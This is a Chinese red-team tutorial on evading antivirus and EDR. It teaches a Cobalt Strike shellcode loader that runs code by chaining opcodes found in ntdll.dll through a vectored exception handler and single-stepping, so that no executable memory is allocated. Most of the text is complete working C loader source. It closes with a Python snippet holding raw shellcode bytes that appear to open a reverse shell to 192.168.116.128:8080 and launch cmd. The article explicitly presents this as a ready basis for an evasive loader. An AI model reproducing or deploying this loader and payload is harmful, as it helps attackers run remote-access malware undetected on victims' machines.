临近全国hw,后面会陆续推出红队免杀培训文章,希望能到诸君能在赛场上乱免,不会把现成的加载器放出来,但是例子改一下就是一个好的加载器,强调一遍,免杀并不是一种技术的一支独秀,而是百花齐放!

前言:

​ 这里照常去做CS的免杀加载器的实现,因为用先有的c2框架是非常方便顺手,当然你自己开发的c2框架也行,肯定也有生成shellcode这个功能,也需要进行内存执行的需求。

​ 今天要讲的这种原理是根据ntdll.dll先有的指令来执行我们的代码,恶意代码保存在于数据部分中,这种的好处是我们绕过了不可执行的内存保护,绕过了静态代码分析,这种技术有点pwn利用链的感觉,玩过的pwn都知道,我们去rop构造利用链的时候就是去找文件原有的汇编代码,通过地址来使用,达到我们想要组合利用的效果,这样的好处就是,我们运行的所有指令在内存中的地址都是分散的,起到对抗杀软内存扫描的效果,因为这种方式已经脱离了传统的分配可执行的内存空间,然后把shellcode放进去执行,没有可执行的分配内存区域可供扫描,免杀效果很好。

原理和准备:

需要用的windows api

​ 1.RtlAddVectoredExceptionHandler 这是用来添加自定义异常处理程序

工作流程:

1.创建一个包含我们要执行的所有汇编指令的数据结构。

  1. 在ntdll.dll的代码段中搜索上述每条指令并存储地址。

  2. 使用RtlAddVectoredExceptionHandler 在我们的程序中添加自定义异常处理程序

  3. 使用int 3 触发断点

  4. 程序现在已经进入了我们自定义的异常处理程序,存储原始线程上下文以供以后使用

  5. 将 EIP 寄存器设置为列表中的第一个目标指令(在ntdll.dll中)

  6. 如果当前指令是“调用”,则在调用后直接在指令上使用Dr0调试寄存器设置硬件断点——我们要“跳过”调用。否则,使用EFlags |= 0x100设置单步标志以中断下一条指令

  7. 更新当前指令所需的任何其他寄存器的值

  8. 使用EXCEPTION_CONTINUE_EXECUTION继续执行。下一条指令将引发另一个异常,我们将回到步骤 6 继续,直到所有指令都按顺序运行。

  9. 在所有目标指令执行完毕后,从步骤5恢复原始线程上下文以继续程序的原始流程。

简而言之,通过RtlAddVectoredExceptionHandler 在我们的程序中添加自定义异常处理程序,然后保存上下文,然后通过找到的汇编指令地址去执行,执行完毕后又引发异常处理程序,去执行其他指令,所有指令执行完毕之后,就直接恢复之前的保存的状态,而我们要执行的汇编指令是保存在结构体的。

参考代码(下面结构体保存着弹框的汇编代码实例):

InstructionEntryStruct Global_InstructionList[] =
{// 使用 GlobalAlloc 为消息框标题分配 1kb 缓冲区{ "push ecx", { 0x51 }, 1, 0, 0, 0, 1024, 0, 0, 0, FLAG_ECX },{ "push ecx", { 0x51 }, 1, 0, 0, 0, GMEM_FIXED, 0, 0, 0, FLAG_ECX },{ "call eax ; (GlobalAlloc)", { 0xFF, 0xD0 }, 2, 0, (DWORD)GlobalAlloc, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },// 设置弹框titie "gammalab"{ "mov ebx, eax", { 0x8B, 0xD8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'g' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'g', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'l' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'l', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'b' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; (null) ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, '\0', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },// 将消息框title ptr 存储在 edi 寄存器中{ "mov edi, eax", { 0x8B, 0xF8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },//使用 GlobalAlloc 为消息框文本分配 1kb 缓冲区{ "push ecx", { 0x51 }, 1, 0, 0, 0, 1024, 0, 0, 0, FLAG_ECX },{ "push ecx", { 0x51 }, 1, 0, 0, 0, GMEM_FIXED, 0, 0, 0, FLAG_ECX },{ "call eax ; (GlobalAlloc)", { 0xFF, 0xD0 }, 2, 0, (DWORD)GlobalAlloc, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },// 设置消息框文本内容为 "gammalabredteam"{ "mov ebx, eax", { 0x8B, 0xD8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'g' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'g', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'l' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'l', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'b' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'r' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'r', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'e' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'e', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'd' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 't' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 't', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'e' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'e', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; (null) ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, '\0', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },// 调用MessageBoxA{ "push ecx", { 0x51 }, 1, 0, 0, 0, MB_OK, 0, 0, 0, FLAG_ECX },{ "push edi", { 0x57 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "push eax", { 0x50 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "push ecx", { 0x51 }, 1, 0, 0, 0, 0, 0, 0, 0, FLAG_ECX },{ "call eax ; (MessageBoxA)", { 0xFF, 0xD0 }, 2, 0, (DWORD)MessageBoxA, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },
};

可以看到结构头定义如下:

struct InstructionEntryStruct
{char *pLabel;BYTE bInstruction[16];DWORD dwInstructionLength;DWORD dwInstructionAddr;DWORD dwEax;DWORD dwEbx;DWORD dwEcx;DWORD dwEdx;DWORD dwEdi;DWORD dwEsi;DWORD dwInstructionFlags;
};

pLabel:此字段仅用于记录/调试目的,到时候可以看到具体是哪条指令出错了

bInstruction:该字段包含汇编指令的操作码,例如push eax的 0x50

dwInstructionLength:bInstruction 字段的长度

dwInstructionAddr:此字段由程序填充 -扫描ntdll.dll以查找匹配指令的地址

dwEax / dwEbx / dwEcx / dwEdx / dwEdi / dwEsi 这些字段设置当前指令执行前的指定寄存器值。

dwInstructionFlags:该字段指定应该更新哪些寄存器值,它还用于指定当前指令是否为“调用”。

但是从ntdll.dll内存中找我们想要的代码是有局限性的,比如一些特殊数据,不能从现有的内存里面找到,这时候就需要在执行指令之前在异常处理程序中操作寄存器,更改寄存器的值。

实际代码示例:

弹框的shellcode示例代码:

#include <stdio.h>
#include <windows.h>#define FLAG_EAX 0x00000001
#define FLAG_EBX 0x00000002
#define FLAG_ECX 0x00000004
#define FLAG_EDX 0x00000008
#define FLAG_EDI 0x00000010
#define FLAG_ESI 0x00000020
#define FLAG_CALL 0x00000040struct InstructionEntryStruct
{const char* pLabel;BYTE bInstruction[16];DWORD dwInstructionLength;DWORD dwInstructionAddr;DWORD dwEax;DWORD dwEbx;DWORD dwEcx;DWORD dwEdx;DWORD dwEdi;DWORD dwEsi;DWORD dwInstructionFlags;
};
DWORD dwGlobal_CurrInstruction = 0;
CONTEXT Global_OrigContext;
InstructionEntryStruct Global_InstructionList[] =
{// 使用 GlobalAlloc 为消息框标题分配 1kb 缓冲区{ "push ecx", { 0x51 }, 1, 0, 0, 0, 1024, 0, 0, 0, FLAG_ECX },{ "push ecx", { 0x51 }, 1, 0, 0, 0, GMEM_FIXED, 0, 0, 0, FLAG_ECX },{ "call eax ; (GlobalAlloc)", { 0xFF, 0xD0 }, 2, 0, (DWORD)GlobalAlloc, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },// 设置弹框titie "gammalab"{ "mov ebx, eax", { 0x8B, 0xD8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'g' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'g', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'l' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'l', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'b' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; (null) ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, '\0', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },// 将消息框title ptr 存储在 edi 寄存器中{ "mov edi, eax", { 0x8B, 0xF8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },//使用 GlobalAlloc 为消息框文本分配 1kb 缓冲区{ "push ecx", { 0x51 }, 1, 0, 0, 0, 1024, 0, 0, 0, FLAG_ECX },{ "push ecx", { 0x51 }, 1, 0, 0, 0, GMEM_FIXED, 0, 0, 0, FLAG_ECX },{ "call eax ; (GlobalAlloc)", { 0xFF, 0xD0 }, 2, 0, (DWORD)GlobalAlloc, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },// 设置消息框文本内容为 "gammalabredteam"{ "mov ebx, eax", { 0x8B, 0xD8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'g' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'g', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'l' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'l', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'b' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'r' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'r', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'e' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'e', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'd' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 't' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 't', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'e' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'e', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "mov byte ptr [ebx], dl ; (null) ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, '\0', 0, 0, FLAG_EDX },{ "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },// 调用MessageBoxA{ "push ecx", { 0x51 }, 1, 0, 0, 0, MB_OK, 0, 0, 0, FLAG_ECX },{ "push edi", { 0x57 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "push eax", { 0x50 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 },{ "push ecx", { 0x51 }, 1, 0, 0, 0, 0, 0, 0, 0, FLAG_ECX },{ "call eax ; (MessageBoxA)", { 0xFF, 0xD0 }, 2, 0, (DWORD)MessageBoxA, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL },
};LONG WINAPI ExceptionHandler(EXCEPTION_POINTERS* pExceptionInfo)
{InstructionEntryStruct* pCurrInstruction = NULL;// 确保这是一个断点/单步异常if (pExceptionInfo->ExceptionRecord->ExceptionCode != STATUS_BREAKPOINT && pExceptionInfo->ExceptionRecord->ExceptionCode != STATUS_SINGLE_STEP){// 这不是我们预期的异常,所以将此异常传递给下一个处理程序return EXCEPTION_CONTINUE_SEARCH;}// 重置硬件断点pExceptionInfo->ContextRecord->Dr0 = 0;pExceptionInfo->ContextRecord->Dr7 = 0;if (dwGlobal_CurrInstruction == 0){// 存储原始上下文memcpy((void*)&Global_OrigContext, (void*)pExceptionInfo->ContextRecord, sizeof(CONTEXT));}else if (dwGlobal_CurrInstruction >= (sizeof(Global_InstructionList) / sizeof(Global_InstructionList[0]))){// 完成执行所有指令 - 恢复原始上下文memcpy((void*)pExceptionInfo->ContextRecord, (void*)&Global_OrigContext, sizeof(CONTEXT));// 移动到下一条指令(在 int3 之后)pExceptionInfo->ContextRecord->Eip++;// 继续执行return EXCEPTION_CONTINUE_EXECUTION;}// 获取当前指令入口pCurrInstruction = &Global_InstructionList[dwGlobal_CurrInstruction];// 将指令 ptr 设置为下一条指令pExceptionInfo->ContextRecord->Eip = pCurrInstruction->dwInstructionAddr;// 检查注册标志if (pCurrInstruction->dwInstructionFlags & FLAG_EAX){//设置eaxprintf("<InternalExHandler> mov eax, 0x%x\n", pCurrInstruction->dwEax);pExceptionInfo->ContextRecord->Eax = pCurrInstruction->dwEax;}else if (pCurrInstruction->dwInstructionFlags & FLAG_EBX){// 设置 ebxprintf("<InternalExHandler> mov ebx, 0x%x\n", pCurrInstruction->dwEbx);pExceptionInfo->ContextRecord->Ebx = pCurrInstruction->dwEbx;}else if (pCurrInstruction->dwInstructionFlags & FLAG_ECX){// 设置 ecxprintf("<InternalExHandler> mov ecx, 0x%x\n", pCurrInstruction->dwEcx);pExceptionInfo->ContextRecord->Ecx = pCurrInstruction->dwEcx;}else if (pCurrInstruction->dwInstructionFlags & FLAG_EDX){// 设置 edxprintf("<InternalExHandler> mov edx, 0x%x\n", pCurrInstruction->dwEdx);pExceptionInfo->ContextRecord->Edx = pCurrInstruction->dwEdx;}else if (pCurrInstruction->dwInstructionFlags & FLAG_EDI){// 设置 ediprintf("<InternalExHandler> mov edi, 0x%x\n", pCurrInstruction->dwEdi);pExceptionInfo->ContextRecord->Edi = pCurrInstruction->dwEdi;}else if (pCurrInstruction->dwInstructionFlags & FLAG_ESI){// 设置 esiprintf("<InternalExHandler> mov esi, 0x%x\n", pCurrInstruction->dwEsi);pExceptionInfo->ContextRecord->Esi = pCurrInstruction->dwEsi;}// 打印当前指令标签printf("<ntdll: 0x%08X> %s\n", pCurrInstruction->dwInstructionAddr, pCurrInstruction->pLabel);// 检查这是否是“呼叫”指令if (pCurrInstruction->dwInstructionFlags & FLAG_CALL){// 在“调用”之后的第一条指令上设置硬件断点pExceptionInfo->ContextRecord->Dr0 = pCurrInstruction->dwInstructionAddr + pCurrInstruction->dwInstructionLength;pExceptionInfo->ContextRecord->Dr7 = 1;}else{// 一小步pExceptionInfo->ContextRecord->EFlags |= 0x100;}//移动到下一条指令dwGlobal_CurrInstruction++;//继续执行return EXCEPTION_CONTINUE_EXECUTION;
}DWORD GetModuleCodeSection(DWORD dwModuleBase, DWORD* pdwCodeSectionStart, DWORD* pdwCodeSectionLength)
{IMAGE_DOS_HEADER* pDosHeader = NULL;IMAGE_NT_HEADERS* pNtHeader = NULL;IMAGE_SECTION_HEADER* pCurrSectionHeader = NULL;char szCurrSectionName[16];DWORD dwFound = 0;DWORD dwCodeSectionStart = 0;DWORD dwCodeSectionLength = 0;// 获取dos header ptr(模块开始)pDosHeader = (IMAGE_DOS_HEADER*)dwModuleBase;if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE){return 1;}// 获取nt头指针pNtHeader = (IMAGE_NT_HEADERS*)((BYTE*)pDosHeader + pDosHeader->e_lfanew);if (pNtHeader->Signature != IMAGE_NT_SIGNATURE){return 1;}// 循环遍历所有部分for (DWORD i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++){// 获取当前节标题pCurrSectionHeader = (IMAGE_SECTION_HEADER*)((BYTE*)pNtHeader + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));// pCurrSectionHeader->如果使用了所有 8 个字符,则名称不以 null 结尾 - 将其复制到更大的本地缓冲区memset(szCurrSectionName, 0, sizeof(szCurrSectionName));memcpy(szCurrSectionName, pCurrSectionHeader->Name, sizeof(pCurrSectionHeader->Name));// 检查这是否是主要代码部分if (strcmp(szCurrSectionName, ".text") == 0){// 找到代码段dwFound = 1;dwCodeSectionStart = dwModuleBase + pCurrSectionHeader->VirtualAddress;dwCodeSectionLength = pCurrSectionHeader->SizeOfRawData;break;}}// 确保找到代码部分if (dwFound == 0){return 1;}// 存储值*pdwCodeSectionStart = dwCodeSectionStart;*pdwCodeSectionLength = dwCodeSectionLength;return 0;
}DWORD ScanForInstructions()
{DWORD dwInstructionCount = 0;DWORD dwCurrSearchPos = 0;DWORD dwBytesRemaining = 0;DWORD dwFoundAddr = 0;DWORD dwCodeSectionStart = 0;DWORD dwCodeSectionLength = 0;// 计算指令数dwInstructionCount = sizeof(Global_InstructionList) / sizeof(Global_InstructionList[0]);// 查找ntdll代码段范围if (GetModuleCodeSection((DWORD)GetModuleHandle("ntdll.dll"), &dwCodeSectionStart, &dwCodeSectionLength) != 0){printf("1111");return 1;}// 扫描指令for (DWORD i = 0; i < dwInstructionCount; i++){// 检查是否已经找到该指令的地址if (Global_InstructionList[i].dwInstructionAddr != 0){continue;}// 在 ntdll 代码部分找到这条指令dwCurrSearchPos = dwCodeSectionStart;dwBytesRemaining = dwCodeSectionLength;dwFoundAddr = 0;for (;;){// 检查是否已到达代码段的末尾if (Global_InstructionList[i].dwInstructionLength > dwBytesRemaining){break;}// 检查指令是否存在于此处if (memcmp((void*)dwCurrSearchPos, (void*)Global_InstructionList[i].bInstruction, Global_InstructionList[i].dwInstructionLength) == 0){dwFoundAddr = dwCurrSearchPos;break;}// 更新搜索索引dwCurrSearchPos++;dwBytesRemaining--;}// 确保找到操作码if (dwFoundAddr == 0){printf("Error: Instruction not found in ntdll: '%s'\n", Global_InstructionList[i].pLabel);return 1;}// store 地址Global_InstructionList[i].dwInstructionAddr = dwFoundAddr;// 将此指令地址复制到列表中的任何其他匹配指令for (DWORD ii = 0; ii < dwInstructionCount; ii++){// 检查指令长度是否匹配if (Global_InstructionList[ii].dwInstructionLength == Global_InstructionList[i].dwInstructionLength){// 检查指令操作码是否匹配if (memcmp(Global_InstructionList[ii].bInstruction, Global_InstructionList[i].bInstruction, Global_InstructionList[i].dwInstructionLength) == 0){// 复制指令地址Global_InstructionList[ii].dwInstructionAddr = Global_InstructionList[i].dwInstructionAddr;}}}}return 0;
}int main()
{PVOID(WINAPI * RtlAddVectoredExceptionHandler)(DWORD dwFirstHandler, void* pExceptionHandler);DWORD dwThreadID = 0;HANDLE hThread = NULL;// 获取 RtlAddVectoredExceptionHandler 函数 ptrRtlAddVectoredExceptionHandler = (void* (__stdcall*)(unsigned long, void*))GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAddVectoredExceptionHandler");if (RtlAddVectoredExceptionHandler == NULL){return 1;}// 添加异常处理程序if (RtlAddVectoredExceptionHandler(1, (void*)ExceptionHandler) == NULL){return 1;}// 扫描 ntdll 填充指令列表if (ScanForInstructions() != 0){return 1;}//触发异常处理程序的断点_asm int 3return 0;
}

效果展示:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-toePRsc8-1646461310426)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20220304000408978.png)]

那么类推,我们把cs的shellcode转换成汇编,然后放入结构体,那么就能上线。

这里就不放我的实际免杀加载器的代码了,很简单,只需要把shellcode转换成汇编代码,填充进去就行.

把shellcode转换成汇编代码可以参考以下python代码,使用capstone库:

from capstone import *
shellcode = ""
shellcode += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
shellcode += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
shellcode += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
shellcode += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
shellcode += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
shellcode += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
shellcode += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
shellcode += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
shellcode += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
shellcode += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
shellcode += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
shellcode += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
shellcode += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
shellcode += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
shellcode += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x74\x80\x68"
shellcode += "\x02\x00\x1f\x90\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
shellcode += "\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec"
shellcode += "\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d\x64\x00\x89"
shellcode += "\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66"
shellcode += "\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44"
shellcode += "\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68"
